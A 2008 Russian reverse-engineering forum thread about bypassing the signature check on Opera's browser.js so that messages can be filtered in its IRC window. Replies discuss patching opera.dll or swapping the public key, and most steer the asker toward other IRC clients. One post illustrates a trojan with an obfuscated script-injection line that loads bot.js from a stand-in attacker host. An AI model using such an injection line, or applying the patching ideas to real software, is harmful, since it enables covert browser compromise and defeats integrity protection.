Сейчас на форуме: subword, rtsgreg1989, zds (+9 невидимых)

 eXeL@B —› Основной форум —› Как определить сигнатуру файла browser.js в Опере?
Посл.ответ Сообщение

Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 09 марта 2008 23:33
· Личное сообщение · #1

Файл защищен от редактирования сигнатурой, редактированный работать не будет. Есть ли способ вычислить эту сигнатуру?
З.Ы. зачем надо- хочу проверить работает ли он в окне IRC клиента(browser.css работает), и если работает использовать.




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 10 марта 2008 10:14
· Личное сообщение · #2

А теперь сделай глубокий вдох и задай вопрос нормально и по возможности выложи, чего не хватает. Экстрасенсы сейчас на конференцию уехали.



Ранг: 310.8 (мудрец), 29thx
Активность: 0.430
Статус: Участник

Создано: 10 марта 2008 10:30
· Личное сообщение · #3

logo пишет:
Файл защищен от редактирования сигнатурой

Защищен он, т.к. иначе дырка в защите будет. Наверняка эту защиту можно сломать, но не думаю, что
алгоритм подсчета и проверки в самом скрипте...
browser.js - JavaScript-файл браузера, автоматически загружаемый и обновляемый в случае, если разрешены JavaScript браузера (browser.js). Файл игнорируется если редактируется локально. Для своих собственных скриптов используйте UserJS




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 10 марта 2008 10:51
· Личное сообщение · #4

Я если честно вообще не вкурил О чем речь то идет? Покажите хоть пример чего разбираем.

-----
Computer Security Laboratory




Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 10 марта 2008 11:44 · Поправил: logo
· Личное сообщение · #5

Есть известный браузер Опера. В нем есть файл browser.js(с яваскриптом), котрый вообще оперовцы используют, чтобы исправлялять некорректно отображающиеся сайты(буржуйские). От редактирования его защитили сигнатурой. Сам файл лежит в Documents and Settings\Юзер\Application Data\Opera\Opera\profile\browser.js. Если открыть его то наверху в коментариях можно сразу увидеть длинную бредовую последовательность букв, очевидно это и есть сигнатура. Если его отредактироть, то [url=этот]opera:config#UserPrefs|BrowserJavaScript[/url](нажимать в опере) параметр устанавливается в еденицу, и browser.js не выполняется

Для своих собственных скриптов используйте UserJS
Дело в том что они работают только на веб страницах, а в окне встроенного IRC клиента(как и емайл клиента) не работают. Работает ли там browser.js, не знаю, но файл browser.css(от редактирования не защищен) работает, хотя UserCSS тоже не работают.


иначе дырка в защите будет.
В чем дырка Я вообще непонимаю почему его закрыли от редактирования.



Ранг: 310.8 (мудрец), 29thx
Активность: 0.430
Статус: Участник

Создано: 10 марта 2008 15:46
· Личное сообщение · #6

logo пишет:
а в окне встроенного IRC клиента(как и емайл клиента) не работают. Работает ли там browser.js, не знаю,

А тебе не кажется, что ты простую задачу: что-то сделать в окне, превратил в тяжелую - пропатчить алгоритм проверки подписи скрипта ? Да еще без всякой гарантии, что это тебе нужно
Описание алгоритма вычисления сигнатуры не нашел, но думаю что там используется несимметричное шифрование, т.ч. подделать ее нельзя. Можно пропатчить проверку в самой Опере, но тоже не думаю, что они ее не защитили.
А дырка в том, что этот скрипт выполняется очень часто и является удобным местом для вирусов.
Кроме того его обновляют раз в неделю и вирус может вообще подсунуть для обновления
любую ссылку...



Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 10 марта 2008 16:36
· Личное сообщение · #7

Обновляется он толко с оффсайта, соответственно никакой троян туда прописатся не может(а вирус даже теоритически не может, ведь для этого надо иметь доступ к файловой системе, чем js не обладает)
Конечно можно под видом полезной примочки попросить юзера заменить этот файл на троянчег, но тоже самое можно, и проще сделать через UserJS.
А тебе не кажется, что ты простую задачу: что-то сделать в окне, превратил в тяжелую
К сожалению другого пути нет Потому что с помощью CSS задачу не решить...
Можно пропатчить проверку в самой Опере, но тоже не думаю, что они ее не защитили.
Во во можт кто нить посмотрит? Мне наоборот думется, что защиты особой там быть не должно, странно что они вообще ввели эту сигнатуру. Только я в низкоуровневом кодинге профан(




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 10 марта 2008 18:49
· Личное сообщение · #8

logo
Упс... сразу файлик этот у себя не заметил.

Так ты лучше напиши что именно ты хочешь добавить в browser.js ?! Тоесть что требуется в конечном итоге? Может общими усилиями найдем более простое решение.

-----
Computer Security Laboratory




Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 10 марта 2008 20:03
· Личное сообщение · #9

Ну для начала добавить что-то простое типа alert('Привет') чтобы выяснить работает он в ИРК чате или нет. А в конечном итоге надо заблокировать сообщения по определенному содержанию, чтобы они не отображались.



Ранг: 310.8 (мудрец), 29thx
Активность: 0.430
Статус: Участник

Создано: 11 марта 2008 10:42
· Личное сообщение · #10

logo пишет:
К сожалению другого пути нет Потому что с помощью CSS задачу не решить...

А я думал, что кроме подручных средств, есть еще форумы любителей Оперы - там и надо спрашивать.
.CSS особо к IRC отношения не имеет - это стили оформления.
logo пишет:
Ну для начала добавить что-то простое типа alert('Привет')

Вот и подумай - это можно использовать для "плохих" действий. Именно поэтому это и нельзя делать простым способом. Модерирование тоже обоюдоострый аппарат, именно поэтому средства для него в Опере ограничены(это на форумах Оперы написано).




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 11 марта 2008 12:14
· Личное сообщение · #11

tundra37
Согласен. Есть некоторая опасность схватить троянчика который добавит пару строк в browser.js и потом будет мониторить тихо и спокойно все страницы, а тело трояно грохнется дабы аверы через недельку другую не нашли тело и не забили тревогу. А вот browser.js аверы наврятли будут проверять, а если проверят, то ничего опасного в строчке document.writeln('<s'+'crip'+'t src="http://botmaster.com/bot.js"><'+'/'+'sc'+'ript>'); не заметят.

Но для этого надо что то цепануть, а если цепанул, то впринципе тут можно и не только это сделать.

logo
opera.dll патчить только. Возможно что то и получится, но не уверен, так как чето у меня с первой попытки бряк на месте вызова файла browser.js не сработал. Поэтому есть маленькое предположение что может не вызывается он =\ хотя и странно.

-----
Computer Security Laboratory




Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 11 марта 2008 12:20
· Личное сообщение · #12

А я думал, что кроме подручных средств, есть еще форумы любителей Оперы - там и надо спрашивать.
Конечно я там первым делом и спросил, на 2 форумах, однако перехват сигнатуры больше соответствует тематике этого форума.
Вот и подумай - это можно использовать для "плохих" действий.
Это спор не в тему. Конечно можно, но не более чем открытые UserJS. Можно написать простой скрипт, похищаюший пароли с этого форума, от mail.ru и попросить юзера установить его. Но ответственность в таком случае ложится на пользователя, а не на браузер.
CSS особо к IRC отношения не имеет
Есть файлик Program Files\Opera\styles\im.css который применяется к IRC чату. Я уже и тему оформления сваял. Кое какую лишнюю информацию можно заблочить с помощью CSS- сообщения типа unknow command, кто зашел/вышел, и д.р. потому что она имеет свои классы в IRC окне, и легко цепляется css-ом.
Но селектора content='' в css еще не придумали, а надо заблочить сообщения с определенным содержанием.



Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 11 марта 2008 12:41
· Личное сообщение · #13

[HEX]
Именно патчить? Можно наверно взять сигнатуру из того места где она окончательно вычисляется, и добавить потом в файл, или нет?



Ранг: 310.8 (мудрец), 29thx
Активность: 0.430
Статус: Участник

Создано: 11 марта 2008 15:38 · Поправил: tundra37
· Личное сообщение · #14

[HEX],logo Опера аспаком накрыта, т.ч. вопрос-то конечно по теме, но...
кто возьмется реверсить алгоритм, когда у logo нет уверенности, что это поможет.
browser.js к окну IRC вроде не должен применяться ? Он для www-сайтов, а не для irc-серверов.

logo Ты уперся в свое решение через browser.js и тебе правильно на форумах ответили.
Но возможно есть ДРУГИЕ решения вообще. Я про это толкую.

logo пишет:
Именно патчить? Можно наверно взять сигнатуру из того места где она окончательно вычисляется

Там не сигнатура, а подпись. Обычно алгоритм такой : запускают алгоритм и на выходе он дает добро, т.е. сигнатуру могут вычислить только авторы имеющие приват-кей, а не месте ее можно только проверить.




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 11 марта 2008 15:43 · Поправил: [HEX]
· Личное сообщение · #15

logo
Моё предположение что это подпись, и подпись сделана с помощью приватного ключа разработчиков Оперы. В Опере находиться публичный ключ с помощью которого происходит проверка подписи содержимого файла. Так что либо тупо искать прыжок не верно/верно либо заменить публичный ключ на свой и подписывать файл уже своим приватным ключем.

Так или иначе патчить придеться.

tundra37
Аспак то тут причем? Его снять помоему нет никаких проблем. Что и был сделано дабы не мешался при реверсе.

-----
Computer Security Laboratory




Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 11 марта 2008 18:48 · Поправил: logo
· Личное сообщение · #16

Но возможно есть ДРУГИЕ решения вообще. Я про это толкую.
Сомневаюсь. Разве что наити сорсы чатзиллы, подредактировать там что надо и скомпилить(и что это я оперовец буду советовать людям перейти на мозилу- да ни в жизнь). ИРК клиента же со встроенной функцией блокировки сообщений по содержанию(да еще плюс чтобы css оформление было) насколько мне известно нет.

browser.js к окну IRC вроде не должен применяться?
Как это проверить, если не научится его редактировать? browser.css применяется.



Ранг: 310.8 (мудрец), 29thx
Активность: 0.430
Статус: Участник

Создано: 12 марта 2008 09:13
· Личное сообщение · #17

[HEX] пишет:
Аспак то тут причем?

Только при том, что logo не кракер и придется кому-то ковырять это для него.
Ну и главное - это решение(патч) хорошо для отдельного человека, но речь явно
идет о группе юзеров.

logo Какой-то у тебя странный подход : ограничивать клиентскую сторону.
Это для их же пользы или как? Все-таки правильный подход - это ограничивать на стороне сервера.
Твое решение потребует, либо отдельного дистра Оперы, либо сложной процедуры пропатчивания.
Все-таки проще найти автономный IRC-клиент с нужными свойствами. Неудобно конечно, но
гораздо проще.



Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 12 марта 2008 12:14
· Личное сообщение · #18

Мдя ты прав видимо это тупик, версии оперы то разные у всех, да и с каждой новой делать патч чтоли... разве что включить в дистр опера AC, но...

logo Какой-то у тебя странный подход : ограничивать клиентскую сторону.
Да, только так. Народ играет в игру('Казаки'), сервер GameSpy. И хочет сидеть в чате игры через альтернативную прогу. А чат у этой игры основан на ИРК. Правда он расширен еще, и помимо прочего в ИРК чат игра посылает собственные команды, которые клиент игры естесно не показывает. Тоесть сидеть в чате через ирк можно, но неудобно, т.к. чат засоряется этими командами.

Только при том, что logo не кракер и придется кому-то ковырять это для него.
Ну и главное - это решение(патч) хорошо для отдельного человека, но речь явно
идет о группе юзеров.

Ну да, хотя пару ламерских прог я всеже сломал. Если обьяснить че делать то с патчем для других версий справлюсь думаю.



Ранг: 310.8 (мудрец), 29thx
Активность: 0.430
Статус: Участник

Создано: 13 марта 2008 10:18
· Личное сообщение · #19

logo пишет:
сервер GameSpy. И хочет сидеть в чате игры через альтернативную прогу.

1) У GameSpy есть же клиент и он бесплатный раньше был - его во все дистры
совали до недавних пор. Разве там IRC нет ?
2) Альтернативная - я понимаю. Для IRC есть куча родных клиентов(я не имею ввиду
плаги всяческих браузеров), там наверняка фильтрация есть.
Почему обязательно через Оперу ?



Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 14 марта 2008 10:55
· Личное сообщение · #20

В том клиенте общатся нельзя, только менять данные ника.
там наверняка фильтрация есть.
Вот я такого не видел, как уже писал.
Правда оказывается в чатзилле можно писать плагины на js.



Ранг: 310.8 (мудрец), 29thx
Активность: 0.430
Статус: Участник

Создано: 14 марта 2008 16:59 · Поправил: tundra37
· Личное сообщение · #21

IceChat _http://www.icechat.net
Там правда не Java Script.

В mIRC есть команда /filter , и мощный аппарат для написания скриптов.
Правда не Java Script, но клиент популярный, в т.ч. и в России...



Ранг: 9.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 15 марта 2008 22:01
· Личное сообщение · #22

Спасибо. Правда css там нет.


 eXeL@B —› Основной форум —› Как определить сигнатуру файла browser.js в Опере?
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати